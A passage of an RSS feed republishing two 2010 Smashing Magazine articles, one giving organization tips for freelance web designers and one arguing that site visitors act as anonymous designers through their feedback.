few hours here and there during the day, you force your brain to switch on and off multiple times a day. Try to work roughly the same schedule each day and all in one block. This creates a clear divide in your head between work and free time, and the divide will help you stay efficient and organized.</li><li><strong>Schedule time for administrative tasks</strong><br /> You&#8217;re a designer foremost; but if you&#8217;re a freelancer, you are also the office manager. Don&#8217;t let those administrative tasks pile up. Schedule time each day or week to take care of bills, filing or cleaning.</li><li><strong>Time to think</strong><br /> Similar to the last point, you are also the CEO, and as such you need to think about the overall goals and strategy of your one-person organization. Make sure to leave time (at least some each month) to analyze how business is going and how you are progressing towards your goals.</li></ol><p>Important to remember: routines are not (and should not feel) inflexible. You are always free to change the way you do things. Sometimes you may need to put out fires, and sometimes you just need a change. Listen to your instincts.</p><h3>3. Systems</h3><p>While being organized is not the same thing as having a mild case of <a href="http://en.wikipedia.org/wiki/Obsessive%E2%80%93compulsive_disorder">OCD</a>, creating clear and consistent systems that you can use on a daily basis is important. These systems only become more important the busier you get, serving as an anchor to help you remember everyday items and meet critical deadlines.</p><h4>The Old-Fashioned Way</h4><p>I&#8217;m a big believer in simple solutions, especially for organization. My desk is covered with sticky notes, and I nearly always have a small notebook handy for sudden brainwaves. In addition to creating a written record, the physical act of writing forces you to use another part of your brain, one that ingrains the idea, making you less likely to forget.</p><p><img class="alignnone size-full wp-image-18926" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2009/11/paper.jpg" alt="Paper in Organization Tips For Web Designers" width="500" height="375" /><br /> <em>Original image by <a title="thecampbells on Flickr" href="http://www.flickr.com/photos/thecampbells/">shawncampbell</a>.</em></p><p>Another great thing about using something like a notebook is that it doesn&#8217;t need charging (unlike all of those electronic gadgets in your pocket), and it doesn&#8217;t rely on a good connection to the Internet (unlike a Web-based to-do list). If you&#8217;re accident-prone, you can even get a <a title="Rite in the Rain" href="http://www.riteintherain.com/">field notebook</a> (the kind biologists use), which has waterproof pages.</p><p>Do you remember life before mobile phones? Do you remember how many phone numbers you had memorized? The human brain is capable of remembering vast quantities of information; but like any muscle, it is only effective when actively used. Give your brain a chance to find the answer before turning to those Web calendars and notifications — it might surprise you!</p><p><strong>A note about Web apps</strong>: these have become big business. And no wonder; a single-purpose app exists to help you do just about anything. But as with email, people get into the bad habit of being completely unable to move forward without checking, updating and mulling over their app of choice. For teams working together, these apps can be a true life-saver; but often you will also (hopefully) be working with only one or two individuals on each project. Why not simplify and drop the Web app altogether. A well-traveled notebook can do most of what an organizational app can do, without eating a portion of your pay check each month!</p><p>If you need a little more structure than just a notebook in your pocket, here are a few <strong>&#8220;analog&#8221; organizational systems</strong> to look into:</p><ul><li><a href="http://en.wikipedia.org/wiki/Getting_Things_Done">Getting Things Done</a><br /> Personal organization based on writing down the important stuff.</li><li><a href="http://www.43folders.com/2004/09/03/introducing-the-hipster-pda">The Hipster PDA</a><br /> Notecards in your pocket held together with a clip. How much easier does it get?</li><li><a href="http://davidseah.com/blog/the-printable-ceo-series/">The Printable CEO</a><br /> Printable sheets to help with task management and goal-tracking.</li></ul><h4>Digital Control</h4><p>Analog solutions can work wonders if you&#8217;re flying solo, but what if you have to collaborate with others on a product? Sometimes there is just no substitute for a good Web app at your fingertips to help you coordinate a project&#8217;s different facets. But be sure that you really need a Web app before wasting two days testing different ones, as I&#8217;ve recommended several times already. That said, here are a few stand-out apps to help you navigate your next project:</p><ul><li><a title="Basecamp" href="http://basecamphq.com/">Basecamp</a><br /> Mentioning Web-based productivity is impossible without a nod in 37signals&#8217; direction. Basecamp is an amazingly mature and powerful app for coordinating teams.</li><li><a title="Campaign Monitor" href="http://campaignmonitor.com">Campaign Monitor</a><br /> To manage email lists and send well-crafted HTML emails, this app is top of class.</li><li><a title="Blinksale" href="http://blinksale.com">Blinksale</a><br /> Invoices, plain and simple. It also integrates with Basecamp.</li></ul><p>If you&#8217;ve decided that a Web app is required for your project, remember that single-purpose apps are generally the way to go. If the app tries to accomplish too much, it will likely only end up frustrating you with features you don&#8217;t understand, much less need.</p><h4>The One That&#8217;s With You</h4><p>Photographers have an old adage: &#8220;The best camera is the one that&#8217;s with you.&#8221; The point is well made. What item do you carry with you everywhere, without fail? Your mobile phone, of course. And with the likes of the iPhone and Google&#8217;s Android platform, your phone is as powerful an organizational tool as your computer.</p><ol><li><strong>Use the note-taking app.</strong><br /> If you have a brainwave, write it down. Replace &#8220;notebook&#8221; with &#8220;phone&#8221; in the paragraphs above and you&#8217;ve got the idea. You can collect and organize your inspirational images, videos and screenshots online with tools such as <a href="http://zootool.com/">Zootool</a>.</li><li><strong>Voice memo yourself.</strong><br /> Most smartphones record voice memos. Voice memos are a quick way to get information down without having to type everything out on a small keyboard. Just remember that they only work if you listen to and act on them later. No smartphone? Just call yourself and leave a message: you&#8217;re sure to pick it up later.</li><li><strong>Exploit the app eco-system.</strong><br /> Both the iPhone and Android have healthy eco-systems of app builders who create just about everything, especially productivity tools. Check out what&#8217;s available for your phone.</li></ol><h4>Clearing the Clutter</h4><p>You have a problem: your desk is completely covered. And I mean every square inch. Pens and pencils scattered about, yesterday&#8217;s newspaper lying under there somewhere (the sudoku half-finished, of course) and last week&#8217;s lunch rotting away quietly in the back corner. Somewhere in there you have work, too. While this surely doesn&#8217;t describe you, it illustrates a few points, so it&#8217;s a good starting point.</p><ol><li><strong>Keep a trash bin next to your desk.</strong><br /> Having a bin close at hand ensures you will use it. If you can spare the space, add a second one for recycling.</li><li><strong>Use your desk for work and work only.</strong><br /> Just as you shouldn&#8217;t work in your bedroom, you shouldn&#8217;t read the paper, do the crossword puzzle or eat lunch at your desk either. I know: separating life and work can be hard. But the most successful freelancing designers I know clearly delineate the two and wouldn&#8217;t mix them up for anything!</li><li><strong>Sort on arrival.</strong><br /> One way to clear your desk quickly is to sort information as it arrives. Open and sort mail when it arrives each day. Sort those receipts that pile up in your wallet at least once a week. You don&#8217;t have to immediately act on these items, but don&#8217;t let them pile up around you.</li><li><strong>File folders are your friend.</strong><br /> Yes, they may be a bit dorky and corporate, but file folders are a God-send for staying organized. Give each subject its own folder, and stack the folders neatly in the corner of your desk. You can fill the folders with notes jotted during phone calls, pages from your notebook and designs scrawled on the back on napkins. Just don&#8217;t throw them away after using them once. A bit of masking tape allows you to relabel and reuse them until they split apart.</li><li><strong>Clean your digital desktop.</strong><br /> If you don&#8217;t already have a system for keeping the files on your computer in order, shame on you. Organization on your computer is paramount in importance. A good way to start: match the folder structure on your computer desktop to the one sitting in the corner of your physical desktop. Use it for all of the digital scraps that accumulate over the course of a project. When you&#8217;ve finished the project, move both folders — digital and physical — to an archive. After a year or so, you can trash the archive and only hang on to the deliverables (in case the client ever needs them resent).</li></ol><p><img class="alignnone size-full wp-image-25873" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/01/ducks.jpg" alt="Ducks in Organization Tips For Web Designers" width="500" height="333" /><br /> <em>Original image by <a title="The Wu's Photo Land on Flickr" href="http://www.flickr.com/photos/photowu/">The Wu&#8217;s Photo Land</a>.</em></p><p>Remember, consistency is the key to organization, so get into the habit of clearing things away before leaving your desk at the end of the day.</p><h4>Ditch the Paper</h4><p>There&#8217;s no way around it: paper still exists in the day-to-day running of a business, from receipts and bills to invoices, faxes and letters. Here are a few tips to help you organize all that paper lying around.</p><ol><li><strong>Get a document scanner.</strong><br /> If you&#8217;ve got the money, a document scanner (such as the <a title="Fujitsu Snapscan S300" href="http://www.fujitsu.com/us/services/computing/peripherals/scanners/scansnap/s300.html">Fujitsu ScanSnap</a> — see <a href="http://productblog.37signals.com/products/2009/02/highrise-and-scansnap-document-scanner-beat-the-pile.html">this in-depth review</a>) can nearly rid you of that fire hazard growing in your filing cabinet. These scanners can capture both sides at once, scan odd-sized items (such as receipts) and do it quickly. After your documents have been scanned, shred them for security. But now that you&#8217;ve digitized your records, you need a very good back-up plan to make sure they aren&#8217;t wiped out by a faulty hard drive.</li><li><strong>File by month.</strong><br /> If you don&#8217;t have the coin to buy a document scanner, I suggest filing general bills and receipts by month in folders and then archiving them by year once you&#8217;ve filed your taxes. Invoices and anything else project-related can go in project folders, again to be archived at the end of the fiscal year.</li><li><strong>Go paperless.</strong><br /> If you haven&#8217;t gone to the trouble of making all of your bills and statements paperless, shame on you. Stop everything you&#8217;re doing and remedy this right now.</li></ol><p><img class="alignnone size-full wp-image-19071" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2009/11/shredded.jpg" alt="Shredded in Organization Tips For Web Designers" width="500" height="375" /><br /> <em>Original image by <a href="http://www.flickr.com/photos/dawnzy/">dawnzy58</a>.</em></p><h3>The Long and Winding Road</h3><p>There is no way to soften the truth: people who are well organized are far more likely to succeed in business and life. But now that you know that organization isn&#8217;t an innate skill but one that you can learn and improve upon, you have no excuses. Take the time to analyze what you do and how you do it, and then make small deliberate changes. You&#8217;ll be amazed at the difference many small changes make!</p><h3>Further Resources</h3><ul><li><a title="Life Hacker" href="http://lifehacker.com/">Lifehacker</a><br /> Perhaps the most famous productivity blog around. Full of good tips.</li><li><a title="Zen Habits" href="http://zenhabits.net/">Zen Habits</a><br /> Another powerhouse blog that specializes in tips and strategies for organizing your life and work.</li><li><a href="http://mashable.com/2009/02/03/productivity-tips-for-freelancers/%20">7 Productivity Tips, Plus Tools for Freelancers and Web Workers</a><br /> More focused information, tips and tools to help you organize.</li><li><a href="http://www.brighthub.com/office/home/articles/6966.aspx%20">How to Effectively Organize your Freelance Jobs</a><br /> Tips to help you digitally organize all of your jobs and keep track of each one separately.</li><li><a href="http://www.brighthub.com/office/home/articles/23407.aspx%20">Using a Whiteboard to Keep Your Home Office Running Smoothly</a><br /> Another great analog solution. Let your creativity out.</li></ul><hr /><p><small>© Jeff Gardner for <a href="http://www.smashingmagazine.com">Smashing Magazine</a>, 2010. | <a href="http://www.smashingmagazine.com/2010/10/14/organization-tips-for-web-designers/">Permalink</a> | <a href="http://www.smashingmagazine.com/2010/10/14/organization-tips-for-web-designers/#comments">Post a comment</a> | <a title="Bookmark in del.icio.us" href="http://del.icio.us/post?url=http://www.smashingmagazine.com/2010/10/14/organization-tips-for-web-designers/&title=Organization%20Tips%20For%20Web%20Designers">Add to del.icio.us</a> | <a title="Bookmark in Digg" href="http://digg.com/submit?phase=2&url=http://www.smashingmagazine.com/2010/10/14/organization-tips-for-web-designers/">Digg this</a> | <a title="Stumble on StumbleUpon" href="http://www.stumbleupon.com/submit?url=http://www.smashingmagazine.com/2010/10/14/organization-tips-for-web-designers/">Stumble on StumbleUpon!</a> | <a title="Tweet us!" href="http://twitter.com/home?status=@tweetmeme%20@smashingmag%20Reading%20'Organization%20Tips%20For%20Web%20Designers'%20http://www.smashingmagazine.com/2010/10/14/organization-tips-for-web-designers/">Tweet it!</a> | <a title="Bookmark in Reddit" href="http://reddit.com/submit?url=http://www.smashingmagazine.com/2010/10/14/organization-tips-for-web-designers/">Submit to Reddit</a> | <a href="http://forum.smashingmagazine.com/">Forum Smashing Magazine</a><br/> Post tags: <a href="http://www.smashingmagazine.com/tag/organization/" rel="tag">organization</a>, <a href="http://www.smashingmagazine.com/tag/workflow/" rel="tag">Workflow</a><br/> </small></p>]]></content:encoded>
			<wfw:commentRss>http://adobecs6.com/2010/10/organization-tips-for-web-designers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The User Is The Anonymous Web Designer</title>
		<link>http://www.smashingmagazine.com/2010/10/14/the-user-is-the-anonymous-web-designer/</link>
		<comments>http://www.smashingmagazine.com/2010/10/14/the-user-is-the-anonymous-web-designer/#comments</comments>
		<pubDate>Thu, 14 Oct 2010 09:56:10 +0000</pubDate>
		<dc:creator>OutsideWriter</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[user]]></category>

		<guid isPermaLink="false">http://www.smashingmagazine.com/?p=57482</guid>
		<description><![CDATA[<table width="650"><tr><td width="650"><div> <img src="http://creatives.commindo-media.de/static/smashing-magazine-advertisement.gif" alt="" border="0" /><img src="http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_%3Cmprid/%3E&#38;o=http://img.constantcontact.com/lp/images/standard/spacer.gif" alt="" border="0" width="1" height="1" /><br /> <a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=34" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=34" border="0" alt="" /></a>&#160;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=35" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=35" border="0" alt="" /></a>&#160;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=36" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=36" border="0" alt="" /></a></div></td></tr></table><p>We invest time, money and effort into understanding our audience, and the movement toward a more socially networked Web has made us realize the power that visitors have over how our designs are engineered; and we try to meet their ever-growing needs. Community is integral to the evolution and functioning of a website, and visitors and website owners have become dependent on each other. This reflects a change in the industry: the user has turned into an anonymous designer.</p><p><a href="http://www.smashingmagazine.com/2010/10/14/the-user-is-the-anonymous-web-designer/"><img class="size-full wp-image-57490" title="SM-08" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/eighthour.jpg" alt="Screenshot" width="500" height="424" /></a></p> <p>This article will <strong>explore the influential figure 'user' and uncover the power of your community</strong>. Whether you boast social applications, interactivity or a stream of regular visitors, your audience might be a powerful untapped resource at your fingertips. You, the website owner, have the power to make decisions and override them (for better or worse), but the user deserves to be recognized as more than a statistic.</p>]]></description>
			<content:encoded><![CDATA[<table width="650"><tr><td width="650"><div style="width:650px;"> <img src="http://creatives.commindo-media.de/static/smashing-magazine-advertisement.gif" alt="Smashing-magazine-advertisement in The User Is The Anonymous Web Designer" border="0" /><img src="http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_&lt;mprid/&gt;&#038;o=http://img.constantcontact.com/lp/images/standard/spacer.gif" alt="Spacer in The User Is The Anonymous Web Designer" border="0" width="1" height="1" /><br /> <a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=34" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=34" border="0" alt=" in The User Is The Anonymous Web Designer"  /></a>&nbsp;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=35" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=35" border="0" alt=" in The User Is The Anonymous Web Designer"  /></a>&nbsp;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=36" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=36" border="0" alt=" in The User Is The Anonymous Web Designer"  /></a></div></td></tr></table><p>We invest time, money and effort into understanding our audience, and the movement toward a more socially networked Web has made us realize the power that visitors have over how our designs are engineered; and we try to meet their ever-growing needs. Community is integral to the evolution and functioning of a website, and visitors and website owners have become dependent on each other. This reflects a change in the industry: the user has turned into an anonymous designer.</p><p>This article will <strong>explore the influential figure &#8216;user&#8217; and uncover the power of your community</strong>. Whether you boast social applications, interactivity or a stream of regular visitors, your audience might be a powerful untapped resource at your fingertips. You, the website owner, have the power to make decisions and override them (for better or worse), but the user deserves to be recognized as more than a statistic.</p><p class="offtopic">[Offtopic: by the way, did you know that there is a Smashing eBook Series? Book #2 is <a href="https://shop.smashingmagazine.com/smashingbook-dispatcher.php?d=smashing-ebook-successful-freelancing">Successful Freelancing for Web Designers</a>, 260 pages for just $9,90.]</p><h3>Traditional Roles</h3><p>Back in the Web’s infancy, the roles of the Web professional and visitor were clearly laid out. Technologies such as email, bulletin boards and Internet Relay Chat (IRC) rooms existed, but most Web users were technologically inclined — cost and complexity of computers and Internet access were the biggest obstacles for many in the early days. Additionally, website were simple and the power of users was restricted; users had little sway with designers and developers.</p><h4>The Professionals</h4><p>The role of the Web professional used to be — famously, in the ’90s — to build websites that delivered certain information. Asking the user for feedback was an afterthought; this was evidence of the commonly held belief that we, the experts, knew what was best for users. <strong>Usability and accessibility were a luxury</strong>, and many website providers ignored them in an attempt to control the way the medium was used.</p><p><a href="http://shellcity.net/"><img class="size-full wp-image-57483" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/08/SM-01.jpg" alt="SM-01 in The User Is The Anonymous Web Designer" width="500" height="270" /></a><br /> <em>Historically, the Web professional’s role was to maintain websites.</em></p><p>The following were considered the primary tasks of the Web professional:</p><ul><li>Providing content and services to the client;</li><li>Creating a website to hold the information;</li><li>Dealing with technical requests about the information.</li></ul><h4>The Audience</h4><p>Traditionally, the role of the audience was to give feedback, but it had — and still sometimes has — no influence on the website. The romanticized notion that a website owner should do whatever they want is to blame. In the past, a website’s <strong>popularity was determined mostly by content</strong>; marketing was restricted to directories and search engines; empowering the user and improving the feedback process was far from the designer’s mind.</p><p>The following were considered the primary tasks of the user:</p><ul><li>Give the owner financial incentive to continue offering the service.</li><li>Popularize or endorse the website;</li><li>Put the professional’s creation, free or not, to good use.</li></ul><p>Those times have (mostly) come and gone. Without visitors, our websites would hardly exist, and when we realize that, we will abandon our old-fashioned ways and quit imposing our assumptions on users. Visitor interaction has become vital to the experience of a website, and the need for positive feedback — now visible everywhere and uncontrollable — has reversed the roles: our <strong>audience now has the voice</strong> and tools it needs to be satisfied.</p><h3>Playing The Part</h3><p>It has become important for us to define what roles the Web professional and user play in the dynamic process of building and improving websites, especially given the new-found focus on user experience and the development of tools that allow visitors to engage with and become attached to our services. Furthermore, ensuring that these roles are, in fact, played is essential to the process.</p><h4>The Professionals</h4><p>Professionals hold the keys to the castle. While many designers focus on the result, understanding what audiences need, what problems need swift solutions, which visitors require these solutions and how best to implement them is paramount. You might have some control over your users, but they can still dampen your popularity.</p><p><a href="http://freelanceswitch.com/"><img class="size-full wp-image-57485" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/08/SM-03.jpg" alt="SM-03 in The User Is The Anonymous Web Designer" width="500" height="238" /></a><br /> <em>The user experience should actually serve the needs of users.</em></p><p>Here are some skills that professionals bring to the table:</p><ul><li>Knowledge of how to build a website and how it works;</li><li>Experience with anticipating user needs;</li><li>Delivering services and content that users need.</li></ul><h4>The Audience</h4><p>Audience members play a different role. Most websites don’t offer a broad spectrum of customizable features (for good reason) or feedback options that give insight into how visitors use the website or what they’d like to see improved — specifically, what they’d like to see improved that would make them return on a regular basis. <strong>Word of mouth has become a serious force</strong> on the Web with Twitter, Facebook and their kin; and while you control the code, they control users&#8217; wallets, attention and referrals.</p><p><a href="http://twitter.com/"><img class="size-full wp-image-57486" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/08/SM-04.jpg" alt="SM-04 in The User Is The Anonymous Web Designer" width="500" height="270" /></a><br /> <em>Visitors know what they like, and negative feedback can spread quickly.</em></p><p>Here is what visitors contribute:</p><ul><li>Essential feedback on core service failings;</li><li>Word-of-mouth promotion;</li><li>Knowledge of what works, not just what’s pretty.</li></ul><p>The roles of professional and user can be reversed on occasions when one expert helps another improve their website, resulting in a mixture of a professional perspective and visitor-oriented goals. Being both visitor and expert gives you empathy for the user and a valuable perspective, especially if you’re lucky enough to be in a position of power.</p><h3>Nature Versus Nurture</h3><p>Both sides bring goods to the table. Professionals bring the service and content into existence, thereby providing the “location for the party.” New visitors share vital details about how you can encourage them to be more involved, and they spread your website to the masses. Maintaining equilibrium between the professional and user is required if your Web presence is going to survive.</p><h4>The Professionals</h4><p>As it stands, the professional designer still plays the traditional role, but it should be expanded to encompass the evolving needs of our audience. The ability to nurture and cultivate is a skill ignored by many in our industry. In the past, “If you build it, they will come” described the Web fairly accurately, especially given the limited competition, but easy enterprise and designing for yourself have failed by their own merit.</p><p>Here are some problems that face a Web professional:</p><ul><li>Subjective opinion;</li><li>Too many tasks to be able to master one;</li><li>Fixated on success and reward (depending on the service being offered).</li></ul><h4>The Audience</h4><p>Even if your visitor has no understanding of Web design, they will know what works for them, so you should encourage them to share their ideas. You can do this through code, design, experience and interactivity (or functionality). Playing to your audience&#8217;s strengths makes sense (if only to avoid the MySpace effect: going stale).</p><p>Some of the problems facing users are:</p><ul><li>Lacking knowledge of the Web’s limitations;</li><li>Their diverse backgrounds and characters lead to quirks;</li><li>Subjective opinions.</li></ul><p>Survival of the fittest is the name of the game, and with the increasing pressure to focus on the needs of users and encourage them to connect to your services, it’s important that your designs are user-centric: contextual and interactive. The anonymous designer who knows what they want is well equipped for the Internet’s future. We can’t overlook users as we did in the past.</p><h3>Elements Of Success</h3><p>At this point, you&#8217;re probably wondering <strong>why we should place so much trust in users</strong>. That’s a fair question. Distinguishing between constructive advice and useless drivel can be difficult when many users don’t even know what a Web browser is, and determining the relevance of reviews is a challenge when manipulation is commonplace. All interaction with users should be done with respect (and perhaps a grain of salt), but it’s still worth encouraging the crowd to take action.</p><p>The trick is to use your knowledge (from statistics to semantics), experience, research and trust (of information sources) to your advantage.</p><p>By using a mixture of both quantitative data (numbers, statistics, etc.) and qualitative data (opinions, ideas, etc.), you can make informed decisions about what will work best for your clients. Putting the onus entirely on visitors is unfair, but giving them a channel for input will make a difference. If you don’t please them, they’ll surely take their business elsewhere.</p><p><img class="size-full wp-image-57489" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/08/SM-07.jpg" alt="SM-07 in The User Is The Anonymous Web Designer" width="500" height="375" /><br /> <em>The ABCs of experience: appreciation, balance and communication.</em></p><p>A few of the ideas you get from users are bound to be cringe-worthy, but it’s surprising how many good ones you’ll get if you implement feedback functionality properly. The stereotypical designer who leads with his gut is a testament to the lack of awareness of user expectations and needs. We must acknowledge this co-dependency, this <strong>need for an exchange of perspectives</strong>, and the value of the anonymous designer.</p><h4>Appreciation</h4><p>Your visitors are so much more than statistics. They deserve to be appreciated. You, the professional, can re-engineer a website until the cows come home, but it’s ultimately up to users to decide whether to make use of your services. Acknowledging and understanding their needs, and encouraging diversity, is critical to breaking down barriers.</p><p><a href="http://eighthourday.com/"><img class="size-full wp-image-57490" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/eighthour.jpg" alt="Eighthour in The User Is The Anonymous Web Designer" width="500" height="424" /></a><br /> <em>Appreciate your users and the issues they might encounter, and be patient. That also means having a clean, attractive design that communicates. Example: <a href="http://eighthourday.com/">EightHourDay</a></em></p><p>Ask your visitors the following questions:</p><ul><li>What, if anything, could my website offer to better meet your needs?</li><li>Do you have any technical difficulties with the way the website functions?</li><li>What more could we offer to deliver additional value?</li></ul><h4>Balance</h4><p>Balance is integral to life, and it’s probably more critical to design than other Internet-related fields. Designers forge open bonds with visitors that often lead to social relationships that enrich not only our websites but our lives. Visitors hold greater value for our communities than many of us care to admit — think of Wikipedia or Facebook. Maintaining good relationships with them is paramount.</p><p><a href="http://en.wikipedia.org/wiki/Main_Page"><img class="size-full wp-image-57491" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/08/SM-09.jpg" alt="SM-09 in The User Is The Anonymous Web Designer" width="500" height="270" /></a><br /> <em>Stay level-headed by maintaining the balance between contribution and ownership.</em></p><p>Ask your visitors the following questions:</p><ul><li>How can we encourage you to participate more often?</li><li>What content or services would you like to see in future?</li><li>How much time do you spend on our website?</li></ul><h4>Communication</h4><p>Communication is fundamental to our social and interactive experiences on the Web, and the staggering amount of rich content (not even counting spam!) that visitors contribute could exceed our wildest dreams. The user’s job is to come forth and help us help them, but our job is to act as intermediaries between them and the website so that they achieve the ideal experience. We are the Web’s “interpreters.”</p><p><a href="http://www.boagworld.com/forum/"><img class="size-full wp-image-57492" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/08/SM-10.jpg" alt="SM-10 in The User Is The Anonymous Web Designer" width="500" height="239" /></a><br /> <em>Communication is paramount. Make sure you can be contacted easily.</em></p><p>Ask your visitors the following questions:</p><ul><li>Are we missing an essential feature that would help us help you?</li><li>Do you have any concerns or complaints that we need to address?</li><li>Is there anything you want to ask about our website or services?</li></ul><h3>The Sociological Switch</h3><p>Of all that has been addressed in this article, the most important is the process of planning and implementing mechanisms for visitors to interact with your services. So, put time and effort into studying how to make your website better. There are many methods of doing this (audits, surveys, statistics). What’s important is that lines of communication with your users stay open, so that you can go about your business successfully.</p><p><a href="http://www.google.com/analytics/"><img class="size-full wp-image-57493" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/08/SM-11.jpg" alt="SM-11 in The User Is The Anonymous Web Designer" width="500" height="239" /></a><br /> <em>Planning and research make up a huge portion of the creation of the user experience.</em></p><p>The future of the Web will be about being socially connected, and a role reversal that I call the “sociological switch” seems to be taking place. Simply put, we Web professionals are becoming the audience of our users’ demands, and users are becoming anonymous designers, deciding where they visit, how the Web should evolve and how media are constructed and consumed.</p><p>As you leave comments below, just think that by contributing here, you’re making a difference in Smashing Magazine’s relationship with its audience and the world. By leaving space for your comments and your participation, Smashing Magazine is trying to meet your needs. Think about how you can use your audience to your advantage and improve design beyond even your own expectations.</p><p><em>(al)</em></p><hr /><p><small>© Alexander Dawson for <a href="http://www.smashingmagazine.com">Smashing Magazine</a>, 2010. | <a href="http://www.smashingmagazine.com/2010/10/14/the-user-is-the-anonymous-web-designer/">Permalink</a> | <a href="http://www.smashingmagazine.com/2010/10/14/the-user-is-the-anonymous-web-designer/#comments">Post a comment</a> | <a title="Bookmark in del.icio.us" href="http://del.icio.us/post?url=http://www.smashingmagazine.com/2010/10/14/the-user-is-the-anonymous-web-designer/&title=The%20User%20Is%20The%20Anonymous%20Web%20Designer">Add to del.icio.us</a> | <a title="Bookmark in Digg" href="http://digg.com/submit?phase=2&url=http://www.smashingmagazine.com/2010/10/14/the-user-is-the-anonymous-web-designer/">Digg this</a> | <a title="Stumble on StumbleUpon" href="http://www.stumbleupon.com/submit?url=http://www.smashingmagazine.com/2010/10/14/the-user-is-the-anonymous-web-designer/">Stumble on StumbleUpon!</a> | <a title="Tweet us!" href="http://twitter.com/home?status=@tweetmeme%20@smashingmag%20Reading%20'The%20User%20Is%20The%20Anonymous%20Web%20Designer'%20http://www.smashingmagazine.com/2010/10/14/the-user-is-the-anonymous-web-designer/">Tweet it!</a> | <a title="Bookmark in Reddit" href="http://reddit.com/submit?url=http://www.smashingmagazine.com/2010/10/14/the-user-is-the-anonymous-web-designer/">Submit to Reddit</a> | <a href="http://forum.smashingmagazine.com/">Forum Smashing Magazine</a><br/> Post tags: <a href="http://www.smashingmagazine.com/tag/design/" rel="tag">Design</a>, <a href="http://www.smashingmagazine.com/tag/user/" rel="tag">user</a><br/> </small></p>]]></content:encoded>
			<wfw:commentRss>http://adobecs6.com/2010/10/the-user-is-the-anonymous-web-designer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

